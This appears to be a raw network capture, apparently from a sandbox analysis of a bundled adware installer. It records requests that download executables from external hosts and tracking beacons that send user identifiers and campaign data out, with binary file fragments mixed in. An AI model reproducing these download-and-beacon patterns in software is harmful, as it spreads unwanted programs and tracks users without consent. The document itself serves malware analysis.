Age: 43483

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: N4L9vQeZVly0QTV80vwIJef5H7ewDM_AHQ54vDZ3NujI241dpjuUmg==
............m..<...B.;..A...}.....s8d......k...|.....Tg<0soGh...
.!..1dER.sR..V..5.s..c..g.......o...4..U.....?.=..4....y.i.J.'......,m
.N.a29Z..2.s.f.:B.....u......g.......p\x...c.n.F..._6?.d...Z....3]..#.
..|....ka..0...*.......X.k.v ..O:...s?.....rt.b.p._.Me...t.4..%..]).].
..........=R...JG.{.B.A..././Q.D6r{%.....6 ...?.|..EA....._.....P..Y.C
.W,...?...PS..tS.GG.gS.h..a'.kY.C.:hFix......\)....dL3..y_.......O*...
P..0.ba.:.....u.!..gd8...I..5...2|VvS......4..*Z....=.x.q.lk.....-P...
..o........h8.^[email protected]..........:.tg/..g...`...s. .......l.
E....!..F.....&..N(.a.C....DJ.J(..L...<..o.....[.e..j.V...~[.....L.
.o3D....F.C.E.....1..pT.5h"q..5.j.0.....i7KE.V....[R{....,..ej.y^.j..5
P{.y9.P{..=X....V....Ria...\..-..N .R....}..9..1T.J.L...h7BH-4......d.
."...._8..#..a.~...k...._...._E.......:....7.'.gr<..C.(-h.....j....
./..V........L...t^c.....k...L........~.H......1...!..[a..i.*..h$.~..9
.0........A....Wi...s.\.>..b,g.{......v..\..{....U.d.R..r..0{^....P
....yY_z..U3g$5.......m4..1gk.3.........rRa.O..,.q-.O...X..q...w.."Z..
Ce...6..m..VK&...DV.].Q.0..4.2......?!.`.Q...m..R...%h!G..W...6......#
Tw\.....Qj.;..?..<K......\.%...[..S]xI^N..p.k....v.!......e.pC.hn..
....5.. ... ^. ...X#.b1.b.B..u.K).9. ..g.qh#.Xcn.77*.....Q.........y..
_.n.....].h.^o....h0:.s_.Bn.|....S.!....=..h...!.$S....../PMo?..7...Y.
........P......X..tB[.....#.K.-. .....4.Y..DAx^.f.e.2...PD..F..US.**..
c.(....X........Q!.c..JvV...p.H_.....k....!.N..QC...k.B.mg.eE.-.V.S;C.
.._;..LH........l....>X.;.I.Z.T99.[.O....!.E....{`.L._.e...?F..<<< skipped >>>

GET /t.ashx?e=2UW/O98m6H f05G2dnM6gIDPU82h5aXbjA5kVqVgWdAgLxC0aXqYrSj7jHR/cZDxWEuZOv QeXwEvj7dMs JhuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0wJRnHzNzpGlE9E_bmTN7GoV8htFAPlXkEC72iMSwmQgtq2G_9_1dQ==

abfgshdgfjhsk....

GET /t.ashx?e=2UW/O98m6H f05G2dnM6gIDPU82h5aXbjA5kVqVgWdAgLxC0aXqYrSj7jHR/cZDxWEuZOv QeXwEvj7dMs JhuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Is6acsHcvgf0r_-0BD2bqoXWPTDjiLBvk_foteERSOXAc_FyPy52sg==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: iLArb5Xh8ulzfVaynKvHneRkkTA53P4e35M_3xREa2MiEvo_BwnSqA==

abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:08 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: iLArb5Xh8ulzfVaynKvHneRkkTA53P4e
35M_3xREa2MiEvo_BwnSqA==..abfgshdgfjhsk..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LFU2dZjV9Dn9EJm4004hHVcg63KWCvVp6SOuBdVnr1VTj11GUa0r6Q==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /download.php?msorder=5&smsorder=0&campaign=14776&tracker=2200 HTTP/1.1

Range: bytes=374516-749032

User-Agent: Better Installer(Mozilla)

Host: app.easy-burner.com

Cache-Control: no-cache

Cookie: softdown=1424743234122287; install_cookie=14776,,


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:34 GMT

Content-Type: octet-stream

Connection: keep-alive

Set-Cookie: install_cookie=14776,,; expires=Thu, 26-Mar-2015 02:00:34 GMT; path=/; domain=easy-burner.com

Content-Disposition: filename=easyburner-setup.exe

Content-Length: 1498064

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......o..< .ro 
.ro .ro"..o .ro"..o1.ro"..o..ro...o(.ro5..o(.ro...o>.ro .so..ro"..o
V.ro5..o*.ro"..o*.roRich .ro................PE..L...6..L..............
.......(......@\............@.................................].......
......................................................................
[email protected].......@.......
.............text...,........................... ..`.rdata............
..................@[email protected]...,[email protected]...
.............>..............@..@...................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................U...E.].........U
..]............U.....E.....E..M.....M..}..v..U......M.;.u..E.....3.]..
.........U.....E.....E..M.....M..U.....U..}..v .E.....U....;.t..M.....
E....3.;.....D......3.]............U...E...P.M.Q.U...R.E.P........]...
.............U...E...P.M.Q.U...R.E.P........]................U..Q.E..E
....M.....M..U.....U..}..v..E.f.M.f.....E...]..........U...E..M.f..f..
]................U...E.....U....3.;......].......U...E.P.M.Q.U.R......
..]........U...E.P........]................U...E.P.M.Q.U.R.E.P....

<<< skipped >>>

GET /v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 02:01:56 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 2015 02:01:56 
GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunke
d..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4
..3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..0
..

GET /app/ping.ashx?e=/9ZmISdorEvwl4DCqEaRhOjTgYXDnI1t62ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6CtUYVwTD vJv0oIBKdHi0VzXMDHq/fGLl9cc7Myhd t67Mh5HNq1rWG6F60BcQWyjYd3lq0kFqZiozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVcHnj MDoRjrr4E0iP6q3TWDJTyIucq7QEGOUFJwpMgLV/y7KHv6C6tgiPEBnZzvGTAHl6w3H159Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:17 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=G4i9JF3YhSbdHJbbDm7BwGbDYIg4MYvtvYHWe71VaIq/YV5 X6RdAPxJo1EJGyYRB0C69pjpciOmjwKp6fbebjNlp5/QjseDiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFGH6nxT6mrRhaKj C8ts/rBwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdBJSqVUSA/tjw2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3k2/AiuEObX9gfJKZ4NCKSCQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:17 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=KC52kqqAunCf05G2dnM6gEElidWabup/qLyqyeqrbnpSxKnyZZfBI2bktPzt6Fdq2Mmy0imF8H5kTJzJ6ARN 2QatdFhX0zIYCpHZc9ZUaG9AEuBwweR31o8H6qezB8RbcWSjP4xZHCHSnPFvNNypDj6H2BIqEzZsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBFPmyIOMSGLqvp2al3wif32RIeMued5S3OqQB4kK2USfmjZJUoJulJCjca/6c/zCZgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:18 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:18 GMT..Content-Length: 0..

GET /en/software/pixel?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&ua=Internet Explorer 10.0&sys=Windows 7&cookie=-1 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,; trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; softinst=1424743354


HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Tue, 24 Feb 2015 02:02:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; expires=Wed, 25-Feb-2015 02:02:59 GMT; path=/

Set-Cookie: softpixel=1424743354; expires=Tue, 24-Feb-2015 03:02:59 GMT; path=/

Location: hXXp://VVV.easy-burner.com/images/pixel.gif
0..HTTP/1.1 302 Moved Temporarily..Server: nginx..Date: Tue, 24 Feb 20
15 02:02:59 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..Set-Cookie: trck=eme=&campa
ign=14776&tracker=2200&par1=&par2=&par3=&par4=%2
6par5=&googleopt=&subid=&tduid=; expires=Wed, 25-Feb-201
5 02:02:59 GMT; path=/..Set-Cookie: softpixel=1424743354; expires=Tue,
 24-Feb-2015 03:02:59 GMT; path=/..Location: hXXp://VVV.easy-burner.co
m/images/pixel.gif..0......


GET /images/pixel.gif HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,; trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; softinst=1424743354; softpixel=1424743354


HTTP/1.1 404 Not Found

Server: nginx

Date: Tue, 24 Feb 2015 02:02:59 GMT

Content-Type: text/html

Content-Length: 564

Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx</
center>..</body>..</html>..<!-- a padding to disable
 MSIE and Chrome friendly error page -->..<!-- a padding to disa
ble MSIE and Chrome friendly error page -->..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 4
04 Not Found..Server: nginx..Date: Tue, 24 Feb 2015 02:02:59 GMT..Cont
ent-Type: text/html..Content-Length: 564..Connection: keep-alive..<
html>..<head><title>404 Not Found</title></hea
d>..<body bgcolor="white">..<center><h1>404 Not F
ound</h1></center>..<hr><center>nginx</cent
er>..</body>..</html>..<!-- a padding to disable MSI
E and Chrome friendly error page -->..<!-- a padding to disable 
MSIE and Chrome friendly error page -->..<!-- a padding to disab
le MSIE and Chrome friendly error page -->..<!-- a padding to di
sable MSIE and Chrome friendly error page -->..<!-- a padding to
 disable MSIE and Chrome friendly error page -->..<!-- a padding
 to disable MSIE and Chrome friendly error page -->....<<< skipped >>>

GET /app/ping.ashx?e=KC46TpkJIZzYLhsRuGeUaZ/TkbZ2czqAOcRGgC5fn 3ZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0na7uLSNjM/3n1AHxkNs3eJBHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOwjWdMx1sxb271VN37FwWpuzjS2DwEV0f4XlC/BpVyNn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpk/46kL52LbTBNQ4ACwc/17m2whhxWxfzJH5X7Vd7XRVl0z0yHeX1jF3hvsW0zelg9UGxkElMpB3fcOY2s95kJe HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:02:59 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:02:59 GMT..Content-Length: 0..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&0.49630224346636853 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:00:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=f75ccf11-a920-4df5-85cd-a4f65d27cbf9&Password=LlonLfTh&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743304&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=gxtoh545lq1iy0553biv0cfk


HTTP/1.1 302 Found

Connection: close

Date: Tue, 24 Feb 2015 02:01:24 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f75ccf11-a920-4df5-85cd-a4f65d27cbf9&Password=LlonLfTh&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743304&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=f75ccf11-a920-4df5-85cd-a4f65d27cbf9&Password=LlonLfTh&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116
d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1424743304&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=f75ccf11-a920-4df5-85cd-a4f65d27cbf9&Password=LlonLfTh&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d
-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1424743304&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 02:01:15 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.54 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 201
5 02:01:15 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.54 ms","message":"store 4 act
ion and 5 update "}..0......

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,6 HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 02:01:20 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.85 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 201
5 02:01:20 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.85 ms","message":"store 1 act
ion and 0 update "}..0..

GET /pki/mscorp/crl/msitwww2.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: mscrl.microsoft.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=6545

Content-Type: application/pkix-crl

Date: Tue, 24 Feb 2015 02:04:04 GMT

Etag: "db7d2673984dd01:0"

Last-Modified: Sat, 21 Feb 2015 05:37:15 GMT

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

Server: ECAcc (fcn/40B2)

VTag: 27931941900000000

X-Cache: HIT

X-Powered-By: ASP.NET

Content-Length: 59435

0..'0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0.
..U....Microsoft IT SSL SHA2..150221052711Z..150301054711Z0...02..Z...
;.,k..0R......;..140527155450Z0.0...U.......02..Z...:h..jg.E......:..1
40527155449Z0.0...U.......02..Z...5$.A{.2.......5..140527155449Z0.0...
U.......02..Z...4.....D'Y.....4..140527155449Z0.0...U.......02..Z...2.
a...........2..140527155445Z0.0...U.......02..Z...1.....,.......1..140
527155444Z0.0...U.......02..Z...0.g.<..Q......0..140527155440Z0.0..
.U.......02..Z.../..W........../..140527155439Z0.0...U.......02..Z....
....<...........140527155436Z0.0...U.......02..Z...-d..Z..K>....
.-..140527155434Z0.0...U.......02..Z...,\...<.X......,..14052715543
0Z0.0...U.......02..Z... ..d!.y....... ..140527155428Z0.0...U.......02
..Z...*.v#..?'......*..140527155425Z0.0...U.......02..Z...).!=..6.....
..)..140527155423Z0.0...U.......02..Z...(wG...........(..140527155421Z
0.0...U.......02..Z...'..b..z.W.....'..140527155418Z0.0...U.......02..
Z...&..^/O.(......&..140527155416Z0.0...U.......02..Z...%.....nsc.....
%..140527155414Z0.0...U.......02..Z...$O.rB .2H.....$..140527155411Z0.
0...U.......02..Z...#.,5%..F......#..140527155409Z0.0...U.......02..Z.
.."../_...s....."..140527155407Z0.0...U.......02..Z...!..../.l......!.
.140527155404Z0.0...U.......02..Z... .Y.L_.9...... ..140527155402Z0.0.
..U.......02..Z......#M~.zZ........140527155400Z0.0...U.......02..Z...
...~..].G........140527155358Z0.0...U.......02..Z....>e...X....

<<< skipped >>>

GET /MFUwUzBRME8wTTAJBgUrDgMCGgUABBS856ddZAq5lE7vDJmoUDW1u98SMAQU3WyAfLq1MhelhEFA8NIEZhMvqZACFGozgiJkrf5JafrJHx/pwJ6+De+O HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: vassg141.ocsp.omniroot.com


HTTP/1.1 200 OK

Server: nginx

Content-Type: application/ocsp-response

Content-Length: 1765

Last-Modified: Tue, 24 Feb 2015 01:58:00 GMT

ETag: "ec004ce921cc2249ff3f302088d6e111267e1343"

Cache-Control: public, no-transform, must-revalidate, max-age=339972

Expires: Sat, 28 Feb 2015 00:29:16 GMT

Date: Tue, 24 Feb 2015 02:03:04 GMT

Connection: keep-alive
0..........0..... .....0......0...0..........[us..Ni......f....2015022
